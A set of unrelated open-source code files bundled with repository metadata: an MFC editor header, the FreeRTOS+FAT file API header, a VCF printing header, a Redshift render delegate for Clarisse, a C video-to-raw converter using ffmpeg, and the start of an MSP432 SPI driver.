CMainFrame *MainFrame () { return (CMainFrame *) m_pMainWnd; } inline CMineView *MineView () { CMainFrame *h; return (h = MainFrame ()) ? h->MineView () : NULL; } inline CTextureView *TextureView () { CMainFrame* h; return (h = MainFrame ()) ? h ->TextureView () : NULL; } inline CToolView *ToolView () { CMainFrame* h; return (h = MainFrame ()) ? MainFrame ()->ToolView () : NULL; } inline CDlcDoc *GetDocument () { CMineView *h; return (h = MineView ()) ? h->GetDocument () : NULL; } inline CMine *GetMine () { CDlcDoc *h; return (h = GetDocument ()) ? h->m_mine : NULL; } inline CWnd *TexturePane () { return MainFrame ()->TexturePane (); } inline CWnd *MinePane () { return MainFrame ()->MinePane (); } inline CWnd *ToolPane () { return MainFrame ()->ToolPane (); } inline CSize& ToolSize () { return ToolView ()->ToolSize (); } bool SetModified (BOOL bModified); void ResetModified (bool bRevertUndo); CDocument* CDlcApp::OpenDocumentFile(LPCTSTR lpszFileName); void WritePrivateProfileInt (LPSTR szKey, int nValue); void SaveLayout (); void LoadLayout (); // Overrides // ClassWizard generated virtual function overrides //{{AFX_VIRTUAL(CDlcApp) public: virtual BOOL InitInstance(); virtual int ExitInstance(); //}}AFX_VIRTUAL // Implementation COleTemplateServer m_server; // Server object for document creation //{{AFX_MSG(CDlcApp) afx_msg void OnAppAbout(); // NOTE - the ClassWizard will add and remove member functions here. // DO NOT EDIT what you see in these blocks of generated code ! //}}AFX_MSG DECLARE_MESSAGE_MAP() private: BOOL m_bATLInited; private: BOOL InitATL(); }; ///////////////////////////////////////////////////////////////////////////// //{{AFX_INSERT_LOCATION}} // Microsoft Developer Studio will insert additional declarations immediately before the previous line. extern CDlcApp theApp; #endif //__dlc_h
24.38
103
0.664753
[ "object" ]
303e52fe12700a067bce2ad0c6ec73600bf38b9d
8,277
h
C
coffee_machine/mpu/LaunchPad_FreeRTOS_Ethernet/FreeRTOS-Plus-FAT/include/ff_file.h
daeroro/IntegrationProject
3b37f31e172cf4411ad0c2481e154e5facfb4d1e
[ "MIT" ]
null
null
null
coffee_machine/mpu/LaunchPad_FreeRTOS_Ethernet/FreeRTOS-Plus-FAT/include/ff_file.h
daeroro/IntegrationProject
3b37f31e172cf4411ad0c2481e154e5facfb4d1e
[ "MIT" ]
null
null
null
coffee_machine/mpu/LaunchPad_FreeRTOS_Ethernet/FreeRTOS-Plus-FAT/include/ff_file.h
daeroro/IntegrationProject
3b37f31e172cf4411ad0c2481e154e5facfb4d1e
[ "MIT" ]
2
2019-04-29T01:05:25.000Z
2019-04-29T02:45:44.000Z
/* * FreeRTOS+FAT Labs Build 160919 (C) 2016 Real Time Engineers ltd. * Authors include James Walmsley, Hein Tibosch and Richard Barry * ******************************************************************************* ***** NOTE ******* NOTE ******* NOTE ******* NOTE ******* NOTE ******* NOTE *** *** *** *** *** *** FREERTOS+FAT IS STILL IN THE LAB: *** *** *** *** This product is functional and is already being used in commercial *** *** products. Be aware however that we are still refining its design, *** *** the source code does not yet fully conform to the strict coding and *** *** style standards mandated by Real Time Engineers ltd., and the *** *** documentation and testing is not necessarily complete. *** *** *** *** PLEASE REPORT EXPERIENCES USING THE SUPPORT RESOURCES FOUND ON THE *** *** URL: http://www.FreeRTOS.org/contact Active early adopters may, at *** *** the sole discretion of Real Time Engineers Ltd., be offered versions *** *** under a license other than that described below. *** *** *** *** *** ***** NOTE ******* NOTE ******* NOTE ******* NOTE ******* NOTE ******* NOTE *** ******************************************************************************* * * FreeRTOS+FAT can be used under two different free open source licenses. The * license that applies is dependent on the processor on which FreeRTOS+FAT is * executed, as follows: * * If FreeRTOS+FAT is executed on one of the processors listed under the Special * License Arrangements heading of the FreeRTOS+FAT license information web * page, then it can be used under the terms of the FreeRTOS Open Source * License. If FreeRTOS+FAT is used on any other processor, then it can be used * under the terms of the GNU General Public License V2. Links to the relevant * licenses follow: * * The FreeRTOS+FAT License Information Page: http://www.FreeRTOS.org/fat_license * The FreeRTOS Open Source License: http://www.FreeRTOS.org/license * The GNU General Public License Version 2: http://www.FreeRTOS.org/gpl-2.0.txt * * FreeRTOS+FAT is distributed in the hope that it will be useful. You cannot * use FreeRTOS+FAT unless you agree that you use the software 'as is'. * FreeRTOS+FAT is provided WITHOUT ANY WARRANTY; without even the implied * warranties of NON-INFRINGEMENT, MERCHANTABILITY or FITNESS FOR A PARTICULAR * PURPOSE. Real Time Engineers Ltd. disclaims all conditions and terms, be they * implied, expressed, or statutory. * * 1 tab == 4 spaces! * * http://www.FreeRTOS.org * http://www.FreeRTOS.org/plus * http://www.FreeRTOS.org/labs * */ /** * @file ff_file.h * @ingroup FILEIO **/ #ifndef _FF_FILE_H_ #define _FF_FILE_H_ #ifndef PLUS_FAT_H #error this header will be included from "plusfat.h" #endif #define FF_SEEK_SET 0 #define FF_SEEK_CUR 1 #define FF_SEEK_END 2 #if( ffconfigOPTIMISE_UNALIGNED_ACCESS != 0 ) #define FF_BUFSTATE_INVALID 0x00 /* Data in file handle buffer is invalid. */ #define FF_BUFSTATE_VALID 0x01 /* Valid data in pBuf (Something has been read into it). */ #define FF_BUFSTATE_WRITTEN 0x02 /* Data was written into pBuf, this must be saved when leaving sector. */ #endif #if( ffconfigDEV_SUPPORT != 0 ) struct xDEV_NODE { uint8_t ucIsDevice; }; #endif typedef struct _FF_FILE { FF_IOManager_t *pxIOManager; /* Ioman Pointer! */ uint32_t ulFileSize; /* File's Size. */ uint32_t ulObjectCluster; /* File's Start Cluster. */ uint32_t ulChainLength; /* Total Length of the File's cluster chain. */ uint32_t ulCurrentCluster; /* Prevents FAT Thrashing. */ uint32_t ulAddrCurrentCluster; /* Address of the current cluster. */ uint32_t ulEndOfChain; /* Address of the last cluster in the chain. */ uint32_t ulFilePointer; /* Current Position Pointer. */ uint32_t ulDirCluster; /* Cluster Number that the Dirent is in. */ uint32_t ulValidFlags; /* Handle validation flags. */ #if( ffconfigOPTIMISE_UNALIGNED_ACCESS != 0 ) uint8_t *pucBuffer; /* A buffer for providing fast unaligned access. */ uint8_t ucState; /* State information about the buffer. */ #endif uint8_t ucMode; /* Mode that File Was opened in. */ uint16_t usDirEntry; /* Dirent Entry Number describing this file. */ #if( ffconfigDEV_SUPPORT != 0 ) struct SFileCache *pxDevNode; #endif struct _FF_FILE *pxNext; /* Pointer to the next file object in the linked list. */ } FF_FILE; #define FF_VALID_FLAG_INVALID 0x00000001 #define FF_VALID_FLAG_DELETED 0x00000002 /*---------- PROTOTYPES */ /* PUBLIC (Interfaces): */ #if( ffconfigUNICODE_UTF16_SUPPORT != 0 ) FF_FILE *FF_Open( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *path, uint8_t Mode, FF_Error_t *pError ); BaseType_t FF_isDirEmpty( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *Path ); FF_Error_t FF_RmFile( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *path ); FF_Error_t FF_RmDir( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *path ); FF_Error_t FF_Move( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *szSourceFile, const FF_T_WCHAR *szDestinationFile, BaseType_t bDeleteIfExists ); #else /* ffconfigUNICODE_UTF16_SUPPORT */ FF_FILE *FF_Open( FF_IOManager_t *pxIOManager, const char *path, uint8_t Mode, FF_Error_t *pError ); BaseType_t FF_isDirEmpty( FF_IOManager_t *pxIOManager, const char *Path ); FF_Error_t FF_RmFile( FF_IOManager_t *pxIOManager, const char *path ); FF_Error_t FF_RmDir( FF_IOManager_t *pxIOManager, const char *path ); FF_Error_t FF_Move( FF_IOManager_t *pxIOManager, const char *szSourceFile, const char *szDestinationFile, BaseType_t bDeleteIfExists ); #endif /* ffconfigUNICODE_UTF16_SUPPORT */ #if( ffconfigTIME_SUPPORT != 0 ) enum { ETimeCreate = 1, ETimeMod = 2, ETimeAccess = 4, ETimeAll = 7 }; FF_Error_t FF_SetFileTime( FF_FILE *pFile, FF_SystemTime_t *pxTime, UBaseType_t uxWhat ); #if( ffconfigUNICODE_UTF16_SUPPORT != 0 ) FF_Error_t FF_SetTime( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *path, FF_SystemTime_t *pxTime, UBaseType_t uxWhat ); #else FF_Error_t FF_SetTime( FF_IOManager_t *pxIOManager, const char *path, FF_SystemTime_t *pxTime, UBaseType_t uxWhat ); #endif /* ffconfigUNICODE_UTF16_SUPPORT */ #endif /* ffconfigTIME_SUPPORT */ #if( ffconfigUNICODE_UTF16_SUPPORT != 0 ) FF_Error_t FF_SetPerm( FF_IOManager_t *pxIOManager, const FF_T_WCHAR *path, UBaseType_t aPerm ); #else FF_Error_t FF_SetPerm( FF_IOManager_t *pxIOManager, const char *path, UBaseType_t aPerm ); #endif FF_Error_t FF_SetEof( FF_FILE *pFile ); FF_Error_t FF_Close( FF_FILE *pFile ); int32_t FF_GetC( FF_FILE *pFile ); int32_t FF_GetLine( FF_FILE *pFile, char *szLine, uint32_t ulLimit ); int32_t FF_Read( FF_FILE *pFile, uint32_t ElementSize, uint32_t Count, uint8_t *buffer ); int32_t FF_Write( FF_FILE *pFile, uint32_t ElementSize, uint32_t Count, uint8_t *buffer ); BaseType_t FF_isEOF( FF_FILE *pFile ); int32_t FF_BytesLeft( FF_FILE *pFile ); /* Returns # of bytes left to read. */ int32_t FF_FileSize( FF_FILE *pFile ); /* Returns # of bytes in a file. */ FF_Error_t FF_Seek( FF_FILE *pFile, int32_t Offset, BaseType_t xOrigin ); int32_t FF_PutC( FF_FILE *pFile, uint8_t Value ); static portINLINE uint32_t FF_Tell( FF_FILE *pFile ) { return pFile ? pFile->ulFilePointer : 0; } uint8_t FF_GetModeBits( const char *Mode ); FF_Error_t FF_CheckValid( FF_FILE *pFile ); /* Check if pFile is a valid FF_FILE pointer. */ #if( ffconfigREMOVABLE_MEDIA != 0 ) int32_t FF_Invalidate( FF_IOManager_t *pxIOManager ); /* Invalidate all handles belonging to pxIOManager. */ #endif /* Private : */ #endif
45.229508
125
0.652773
[ "object" ]
3040ef62bd2cb34c4943cb211fa32a404780382e
430
h
C
src/vcf_print.h
yiq/SuperSeeker
aaa99a84d162d89047b9609bcfa7cdea59b9f2ca
[ "MIT" ]
null
null
null
src/vcf_print.h
yiq/SuperSeeker
aaa99a84d162d89047b9609bcfa7cdea59b9f2ca
[ "MIT" ]
null
null
null
src/vcf_print.h
yiq/SuperSeeker
aaa99a84d162d89047b9609bcfa7cdea59b9f2ca
[ "MIT" ]
null
null
null
#ifndef VCF_PRINT_H #define VCF_PRINT_H #include <htslibpp.h> #include <htslibpp_variant.h> #include "typedefs.h" using namespace YiCppLib::HTSLibpp; void vcf_print(YiCppLib::HTSLibpp::htsFile& vcf, YiCppLib::HTSLibpp::bcfHeader& header, const solution_t& solutions, const std::vector<std::string>& samples, const std::set<std::string>& af_clusters, const af_table_t& af_table); #endif
23.888889
49
0.704651
[ "vector" ]
304182786934a8014235aca7d967fe831dd1f6fb
7,906
h
C
module.redshift/redshift_render_delegate.h
ddesmond/r2c
668701166712a5d427f22dc201cfdb255c1403af
[ "BSD-3-Clause" ]
21
2020-05-19T12:49:25.000Z
2022-02-05T08:27:32.000Z
module.redshift/redshift_render_delegate.h
ddesmond/r2c
668701166712a5d427f22dc201cfdb255c1403af
[ "BSD-3-Clause" ]
1
2020-08-05T09:16:54.000Z
2020-08-10T08:53:26.000Z
module.redshift/redshift_render_delegate.h
ddesmond/r2c
668701166712a5d427f22dc201cfdb255c1403af
[ "BSD-3-Clause" ]
2
2020-05-19T12:49:32.000Z
2020-10-04T21:41:46.000Z
// // Copyright 2020 - present Isotropix SAS. See License.txt for license information // #ifndef REDSHIFT_RENDER_DELEGATE_H #define REDSHIFT_RENDER_DELEGATE_H #include <r2c_render_delegate.h> class RSDelegateImpl; class RSGeometryInfo; class RSInstancerInfo; /*! \class RedshiftRenderDelegate * \brief This class implements a Redshift render delegate to Clarisse * using the R2C library. While not feature complete, this example * gives a good insight on how to integrate a 3rd party renderer * to Clarisse. It shows all the different bindings to convert or * describe Clarisse geometries, instancers, materials, lights.. * to another rendering engine. It is also handling geometry deduplication. For more information please refer to R2cRenderDelegate documentation. */ class RedshiftRenderDelegate : public R2cRenderDelegate { public: struct CleanupFlags { //!< Defines cleanup info used to cleanup the scene after a sync CleanupFlags() : hairs(false), point_clouds(false), meshes(false), mesh_instances(false) {} bool hairs; //!< true if curve/mesh geometry have been removed from the scene bool point_clouds; //!< true if point clouds geometry have been removed from the scene bool meshes; //!< true if meshes have been removed from the scene bool mesh_instances; //!< true if mesh instances have been removed from the scene bool lights; //!< true if lights have been removed from the scene }; RedshiftRenderDelegate(); virtual ~RedshiftRenderDelegate() override; CoreString get_class_name() const override; void insert_geometry(R2cItemDescriptor item) override; void remove_geometry(R2cItemDescriptor item) override; void dirty_geometry(R2cItemDescriptor item, const int& dirtiness) override; void insert_light(R2cItemDescriptor item) override; void remove_light(R2cItemDescriptor item) override; void dirty_light(R2cItemDescriptor item, const int& dirtiness) override; void insert_instancer(R2cItemDescriptor item) override; void remove_instancer(R2cItemDescriptor item) override; void dirty_instancer(R2cItemDescriptor item, const int& dirtiness) override; void render(R2cRenderBuffer *render_buffer, const float& sampling_quality) override; float get_render_progress() const override; void get_supported_cameras(CoreVector<CoreString>& supported_cameras, CoreVector<CoreString>& unsupported_cameras) const override; void get_supported_lights(CoreVector<CoreString>& supported_lights, CoreVector<CoreString>& unsupported_lights) const override; void get_supported_materials(CoreVector<CoreString>& supported_materials, CoreVector<CoreString>& unsupported_materials) const override; void get_supported_geometries(CoreVector<CoreString>& supported_geometries, CoreVector<CoreString>& unsupported_geometries) const override; ModuleMaterial * get_default_material() const override; ModuleMaterial * get_error_material() const override; void clear() override; static const CoreVector<CoreString> s_supported_cameras; static const CoreVector<CoreString> s_unsupported_cameras; static const CoreVector<CoreString> s_supported_lights; static const CoreVector<CoreString> s_unsupported_lights; static const CoreVector<CoreString> s_supported_materials; static const CoreVector<CoreString> s_unsupported_materials; static const CoreVector<CoreString> s_supported_geometries; static const CoreVector<CoreString> s_unsupported_geometries; private: /*! \brief Synchronize the internal render scene with the scene delegate */ void sync(); /*! \brief Synchronize the render settings */ bool sync_render_settings(const float& sampling_quality); /*! \brief Add a new geometry (never been processed yet) to the render scene and synchronize it * \param cgeometryid id of the new geometry in the scene delegate * \param rgeometry redshift geometry handle */ void sync_new_geometry(R2cItemId cgeometryid, RSGeometryInfo& rgeometry) { _sync_geometry(cgeometryid, rgeometry, true); } /*! \brief Synchronize an existing render geometry with the one defined in the scene delegate * \param cgeometryid id of the geometry in the scene delegate * \param rgeometry redshift geometry handle */ void sync_geometry(R2cItemId cgeometryid, RSGeometryInfo& rgeometry) { _sync_geometry(cgeometryid, rgeometry, false); } /*! \brief Actual implementation of geometry synchronization whereas it is a new or an existing one * \param cgeometryid id of the geometry in the scene delegate * \param rgeometry redshift geometry definition handle * \param is_new set whether the input geometry is new or existing (there are two different codepaths) */ void _sync_geometry(R2cItemId cgeometryid, RSGeometryInfo& rgeometry, const bool& is_new); /*! \brief Synchronize all needed geometries with the render scene * \param cleanup output cleanup flags to do post cleanup with the render scene */ void sync_geometries(CleanupFlags& cleanup); /*! \brief Add a new instancer (never been processed yet) to the render scene and synchronize it * \param cinstancerid id of the new instancer in the scene delegate * \param rinstancer redshift instancer definition handle */ inline void sync_new_instancer(R2cItemId cinstancerid, RSInstancerInfo& rinstancer) { _sync_instancer(cinstancerid, rinstancer, true); } /*! \brief Synchronize an existing instancer with the one defined in the scene delegate * \param cinstancerid id of the instancer in the scene delegate * \param rinstancer redshift instancer definition handle */ inline void sync_instancer(R2cItemId cinstancerid, RSInstancerInfo& rinstancer) { _sync_instancer(cinstancerid, rinstancer, false); } /*! \brief Actual implementation of instancer synchronization whereas it is a new or an existing one * \param cinstancerid id of the instancer in the scene delegate * \param rinstancer redshift geometry definition handle * \param is_new set whether the input instancer is new or existing (there are two different codepaths) */ void _sync_instancer(R2cItemId cinstancerid, RSInstancerInfo& rinstancer, const bool& is_new); /*! \brief Synchronize all needed instancers with the render scene * \param cleanup output cleanup flags to do post cleanup with the render scene */ void sync_instancers(CleanupFlags& cleanup); /*! \brief Synchronize the render scene lights with the scene delegate * \param cleanup output cleanup flags to do post cleanup with the render scene */ void sync_lights(CleanupFlags& cleanup); /*! \brief Synchronize the render camera with the scene delegate * \param w width of the rendered image * \param h hight of the rendered image * \param cox x offset of the render region * \param coy y offset of the render region * \param cw width of the render region * \param ch height of the render region */ void sync_camera(const unsigned int& w, const unsigned int& h, const unsigned int& cox, const unsigned int& coy, const unsigned int& cw, const unsigned int& ch); /*! \brief Cleanup the render scene according to the specified flags * \note This post cleanup is there to rebuild the render scene since redshift can only * add new items not remove them. We are then obliged to remove the corresponding item collections (mesh, lights...) if an item has been removed from the scene. */ void cleanup_scene(const CleanupFlags& cleanup); RSDelegateImpl *m; // private implementation DECLARE_CLASS }; #endif
57.708029
144
0.740956
[ "mesh", "geometry", "render" ]
3041ea1c1a5f69446eb40b5750d5c5c5df7deab8
7,228
c
C
src/blind-from-video.c
egasimus/blind
c33c57c7e0fad47255e3c2186a016c4796e2abf2
[ "0BSD" ]
25
2017-01-13T14:35:10.000Z
2021-07-14T23:26:06.000Z
src/blind-from-video.c
egasimus/blind
c33c57c7e0fad47255e3c2186a016c4796e2abf2
[ "0BSD" ]
1
2021-07-01T09:22:40.000Z
2021-07-28T05:23:03.000Z
src/blind-from-video.c
egasimus/blind
c33c57c7e0fad47255e3c2186a016c4796e2abf2
[ "0BSD" ]
5
2017-10-10T23:14:43.000Z
2021-10-07T04:56:37.000Z
/* See LICENSE file for copyright and license details. */ #include "common.h" USAGE("[-F pixel-format] [-r frame-rate] [-w width -h height] [-dL] input-file [output-file]") static int draft = 0; static void (*convert_segment)(char *buf, size_t n, int fd, const char *file); static void read_metadata(FILE *fp, char *fname, size_t *width, size_t *height) { char *line = NULL; size_t size = 0; ssize_t len; char *p; while ((len = getline(&line, &size, fp)) != -1) { if (len && line[len - 1]) line[--len] = '\0'; p = strchr(line, '=') + 1; if (strstr(line, "width=") == line) { if (tozu(p, 1, SIZE_MAX, width)) eprintf("invalid width: %s\n", p); } else if (strstr(line, "height=") == line) { if (tozu(p, 1, SIZE_MAX, height)) eprintf("invalid height: %s\n", p); } } if (ferror(fp)) eprintf("getline %s:", fname); free(line); if (!*width || !*height) eprintf("could not get all required metadata\n"); } static void get_metadata(char *file, size_t *width, size_t *height) { FILE *fp; int fd, pipe_rw[2]; pid_t pid; int status; epipe(pipe_rw); pid = efork(); if (!pid) { pdeath(SIGKILL); fd = eopen(file, O_RDONLY); edup2(fd, STDIN_FILENO); close(fd); close(pipe_rw[0]); edup2(pipe_rw[1], STDOUT_FILENO); close(pipe_rw[1]); eexeclp("ffprobe", "ffprobe", "-v", "quiet", "-show_streams", "-select_streams", "v", "-", NULL); } close(pipe_rw[1]); fp = fdopen(pipe_rw[0], "rb"); if (!fp) eprintf("fdopen <subprocess>:"); read_metadata(fp, file, width, height); fclose(fp); close(pipe_rw[0]); ewaitpid(pid, &status, 0); if (status) exit(1); } #define CONVERT_SEGMENT(TYPE)\ do {\ typedef TYPE pixel_t[4];\ size_t i, ptr;\ TYPE y, u, v, max = (TYPE)0xFF00L, ymax = (TYPE)0xDAF4L;\ TYPE r, g, b;\ pixel_t pixels[1024];\ uint16_t *pix;\ if (draft) {\ for (ptr = i = 0; ptr < n; ptr += 8) {\ pix = (uint16_t *)(buf + ptr);\ pixels[i][3] = 1;\ y = (TYPE)((long int)(le16toh(pix[1])) - 0x1001L);\ u = (TYPE)((long int)(le16toh(pix[2])) - 0x8000L);\ v = (TYPE)((long int)(le16toh(pix[3])) - 0x8000L);\ scaled_yuv_to_ciexyz(y, u, v, pixels[i] + 0,\ pixels[i] + 1, pixels[i] + 2);\ if (++i == 1024) {\ i = 0;\ ewriteall(fd, pixels, sizeof(pixels), file);\ }\ }\ } else {\ for (ptr = i = 0; ptr < n; ptr += 8) {\ pix = (uint16_t *)(buf + ptr);\ pixels[i][3] = le16toh(pix[0]) / max;\ pixels[i][3] = CLIP(0, pixels[i][3], 1);\ y = (TYPE)((long int)le16toh(pix[1]) - 0x1001L) / ymax;\ u = (TYPE)((long int)le16toh(pix[2]) - 0x8000L) / max;\ v = (TYPE)((long int)le16toh(pix[3]) - 0x8000L) / max;\ yuv_to_srgb(y, u, v, &r, &g, &b);\ r = srgb_decode(r);\ g = srgb_decode(g);\ b = srgb_decode(b);\ srgb_to_ciexyz(r, g, b, pixels[i] + 0, pixels[i] + 1, pixels[i] + 2);\ if (++i == 1024) {\ i = 0;\ ewriteall(fd, pixels, sizeof(pixels), file);\ }\ }\ }\ if (i)\ ewriteall(fd, pixels, i * sizeof(*pixels), file);\ } while (0) static void convert_segment_xyza (char *buf, size_t n, int fd, const char *file) {CONVERT_SEGMENT(double);} static void convert_segment_xyzaf(char *buf, size_t n, int fd, const char *file) {CONVERT_SEGMENT(float);} static void convert(const char *infile, int outfd, const char *outfile, size_t width, size_t height, const char *frame_rate) { char geometry[2 * INTSTRLEN(size_t) + 2], buf[BUFSIZ]; const char *cmd[13]; int status, pipe_rw[2]; size_t i = 0, n, ptr; pid_t pid; cmd[i++] = "ffmpeg"; cmd[i++] = "-i", cmd[i++] = infile; cmd[i++] = "-f", cmd[i++] = "rawvideo"; cmd[i++] = "-pix_fmt", cmd[i++] = "ayuv64le"; if (width && height) { sprintf(geometry, "%zux%zu", width, height); cmd[i++] = "-s:v", cmd[i++] = geometry; } if (frame_rate) cmd[i++] = "-r", cmd[i++] = frame_rate; cmd[i++] = "-"; cmd[i++] = NULL; epipe(pipe_rw); pid = efork(); if (!pid) { pdeath(SIGKILL); close(pipe_rw[0]); edup2(pipe_rw[1], STDOUT_FILENO); close(pipe_rw[1]); eexecvp("ffmpeg", (char **)(void *)cmd); } close(pipe_rw[1]); if (convert_segment) { for (ptr = 0;;) { if (!(n = eread(pipe_rw[0], buf + ptr, sizeof(buf) - ptr, "<subprocess>"))) break; ptr += n; n = ptr - (ptr % 8); convert_segment(buf, n, outfd, outfile); memmove(buf, buf + n, ptr -= n); } if (ptr) eprintf("<subprocess>: incomplete frame\n"); } else { while ((n = eread(pipe_rw[0], buf, sizeof(buf), "<subprocess>"))) ewriteall(outfd, buf, (size_t)n, outfile); } close(pipe_rw[0]); ewaitpid(pid, &status, 0); if (status) exit(1); } int main(int argc, char *argv[]) { size_t width = 0, height = 0, frames; char head[STREAM_HEAD_MAX]; char *frame_rate = NULL; char *infile; const char *outfile; char *data; const char *pixfmt = "xyza"; ssize_t headlen; size_t length, frame_size, pixel_size; int outfd, skip_length = 0; struct stat st; ARGBEGIN { case 'd': draft = 1; break; case 'L': skip_length = 1; break; case 'F': pixfmt = UARGF(); break; case 'r': frame_rate = UARGF(); break; case 'w': width = etozu_flag('w', UARGF(), 1, SIZE_MAX); break; case 'h': height = etozu_flag('h', UARGF(), 1, SIZE_MAX); break; default: usage(); } ARGEND; if (argc < 1 || argc > 2 || !width != !height) usage(); infile = argv[0]; outfile = argv[1] ? argv[1] : "-"; pixfmt = get_pixel_format(pixfmt, "xyza"); if (!strcmp(pixfmt, "xyza")) { convert_segment = convert_segment_xyza; pixel_size = 4 * sizeof(double); } else if (!strcmp(pixfmt, "xyza f")) { convert_segment = convert_segment_xyzaf; pixel_size = 4 * sizeof(float); } else if (!strcmp(pixfmt, "raw0")) { convert_segment = NULL; pixel_size = 4 * sizeof(uint16_t); } else { eprintf("pixel format %s is not supported, try xyza or raw0 and blind-convert\n", pixfmt); } if (!width) get_metadata(infile, &width, &height); if (width > SIZE_MAX / height) eprintf("video frame too large\n"); frame_size = width * height; if (pixel_size > SIZE_MAX / frame_size) eprintf("video frame too large\n"); frame_size *= pixel_size; if (!strcmp(outfile, "-")) { outfile = "<stdout>"; outfd = STDOUT_FILENO; if (!skip_length) eprintf("standard out as output file is only allowed with -L\n"); } else { outfd = eopen(outfile, O_RDWR | O_CREAT | O_TRUNC, 0666); } if (skip_length) { SPRINTF_HEAD_ZN(head, 0, width, height, pixfmt, &headlen); ewriteall(outfd, head, (size_t)headlen, outfile); } convert(infile, outfd, outfile, width, height, frame_rate); if (outfd == STDOUT_FILENO) return 0; if (fstat(outfd, &st)) eprintf("fstat %s:", outfile); length = (size_t)(st.st_size); if (skip_length) length -= (size_t)headlen; if (length % frame_size) eprintf("<subprocess>: incomplete frame\n"); frames = length / frame_size; if (!skip_length) { SPRINTF_HEAD_ZN(head, frames, width, height, pixfmt, &headlen); ewriteall(outfd, head, (size_t)headlen, outfile); data = mmap(0, length + (size_t)headlen, PROT_READ | PROT_WRITE, MAP_SHARED, outfd, 0); memmove(data + headlen, data, length); memcpy(data, head, (size_t)headlen); munmap(data, length + (size_t)headlen); } close(outfd); return 0; }
25.184669
112
0.60487
[ "geometry" ]
3044d60fd3c130e317324d1837ee805176bab9be
1,623
h
C
sks3648Project8/ExpressionNode.h
santhosh2000/EE312-Projects
b467cde38dde526562b2cfbbfe7da8a0609782d5
[ "Apache-2.0" ]
null
null
null
sks3648Project8/ExpressionNode.h
santhosh2000/EE312-Projects
b467cde38dde526562b2cfbbfe7da8a0609782d5
[ "Apache-2.0" ]
null
null
null
sks3648Project8/ExpressionNode.h
santhosh2000/EE312-Projects
b467cde38dde526562b2cfbbfe7da8a0609782d5
[ "Apache-2.0" ]
null
null
null
#ifndef PROJECT8_EXPRESSIONNODE_H #define PROJECT8_EXPRESSIONNODE_H #include <vector> #include <iostream> #include <string> #include <map> #include "ExpressionNodeTree.h" #include "Construction.h" #include "Runner.h" #include "Literals.h" using namespace std; /* Special Note: Some of these functions are cited from academic tutors at the UT ECE tutoring session and the website http://www.geeksforgeeks.com for maps and vector ( online coding resource) and my brain. https://stackoverflow.com/questions/53687363/c-creating-a-map-with-a-string-as-key-and-vector-of-string-as-value // copyright to Milos Gligoric's exptree in class */ class ExpressionNode { private: // operator string string optr; // type of operator string string type_operand; // says if the node is operator or not bool is_operand; // value of the operand if this is an operand node int operand; // says if the node is symbol or not bool is_symbol; // left subtree ExpressionNode* left; // right subree ExpressionNode* right; public: ExpressionNode(); ExpressionNode(string optr, string type_operand, bool is_operand, bool is_symbol, int operand); void copyNodes(const ExpressionNode& other); ExpressionNode(const ExpressionNode& other); ~ExpressionNode(); ExpressionNode& operator=(const ExpressionNode &other); bool getIs_Operand(); int getOperand(); bool getIs_Symbol(); string getOperator(); void setOperator(string); void setOperatorType(string); void setRightNode(ExpressionNode*); void setLeftNode(ExpressionNode*); string getOperatorType(); ExpressionNode* getLeft(); ExpressionNode* getRight(); }; #endif
28.473684
113
0.76833
[ "vector" ]
3045181f5e6ab948e9073d96a51aa6a4cf8ec28e
10,882
c
C
my_spi.c
Setec-Lab/gst_sobc
ab702e2f32539d2ba05bac86b5016db17f23364f
[ "MIT" ]
null
null
null
my_spi.c
Setec-Lab/gst_sobc
ab702e2f32539d2ba05bac86b5016db17f23364f
[ "MIT" ]
null
null
null
my_spi.c
Setec-Lab/gst_sobc
ab702e2f32539d2ba05bac86b5016db17f23364f
[ "MIT" ]
null
null
null
/* * my_spi.c * * Created on: 21.01.2020 * Author: Adrian Wenzel */ /* DriverLib Includes */ #include <ti/devices/msp432p4xx/driverlib/driverlib.h> /* Custom Includes */ #include "my_spi.h" /* Defines */ #define SS1_IDLE SS1_PxOUT |= SS1_GPIO_PINx #define SS2_IDLE SS2_PxOUT |= SS2_GPIO_PINx #define SS1_ACTIVE SS1_PxOUT &= ~SS1_GPIO_PINx; #define SS2_ACTIVE SS2_PxOUT &= ~SS2_GPIO_PINx; #define CPOL_0 EUSCI_B_SPI_CLOCKPOLARITY_INACTIVITY_LOW #define CPOL_1 EUSCI_B_SPI_CLOCKPOLARITY_INACTIVITY_HIGH #define CPHA_0 EUSCI_B_SPI_PHASE_DATA_CAPTURED_ONFIRST_CHANGED_ON_NEXT #define CPHA_1 EUSCI_B_SPI_PHASE_DATA_CHANGED_ONFIRST_CAPTURED_ON_NEXT #define INCREMENT_IDX_TX_RING_BUF(i) i++; if(i >= SPI_TX_BUF_SIZE) i = 0 typedef enum { SPI_SLAVE1, SPI_SLAVE2, NONE } last_SPI_transmission_t; /* Global variables, only visible in this source file */ static volatile uint8_t rxDummy = 0; static volatile uint8_t RXData_SS1 = 0; static volatile uint8_t RXData_SS2 = 0; static uint8_t TXData_SS2 = 0; static volatile bool spi_newdata_received = false; static volatile uint8_t spi_newData_received = 0; //static volatile bool transmitActive = false; static volatile uint8_t transmitActive = false; static eUSCI_SPI_MasterConfig spiMasterConfig; //static uint8_t spi_dataToSend = 0; static volatile uint8_t spi_SS1_dataToSend = 0; static volatile uint8_t spi_SS2_dataToSend = 0; static uint8_t spi_tx_buffer1[SPI_TX_BUF_SIZE]; static uint8_t spi_tx_buffer2[SPI_TX_BUF_SIZE]; static volatile uint8_t spi_txBufIndex1 = 0; static volatile uint8_t spi_txBufIndex2 = 0; static volatile uint8_t spi_txSendIndex1 = 0; static volatile uint8_t spi_txSendIndex2 = 0; static last_SPI_transmission_t last_SPI_transmission = NONE; /* Function Declarations */ void spi_tx(void); void spi_tx1(uint8_t tx_data); void spi_tx2(uint8_t tx_data); void spi_send_arrays(uint8_t *tx_data_SS1, uint8_t *tx_data_SS2); /* Functions, public and private ones */ void spi_init(uint8_t cpol, uint8_t cpha, uint32_t f_Hz_SPIclockSpeed) { /* Selecting P1.5, P1.6 and P1.7 in SPI mode */ GPIO_setAsPeripheralModuleFunctionInputPin(GPIO_PORT_P1, GPIO_PIN5 | GPIO_PIN6 | GPIO_PIN7, GPIO_PRIMARY_MODULE_FUNCTION); /* Configuring !SS pins for SPI */ GPIO_setOutputHighOnPin(SS1_GPIO_PORT_Px, 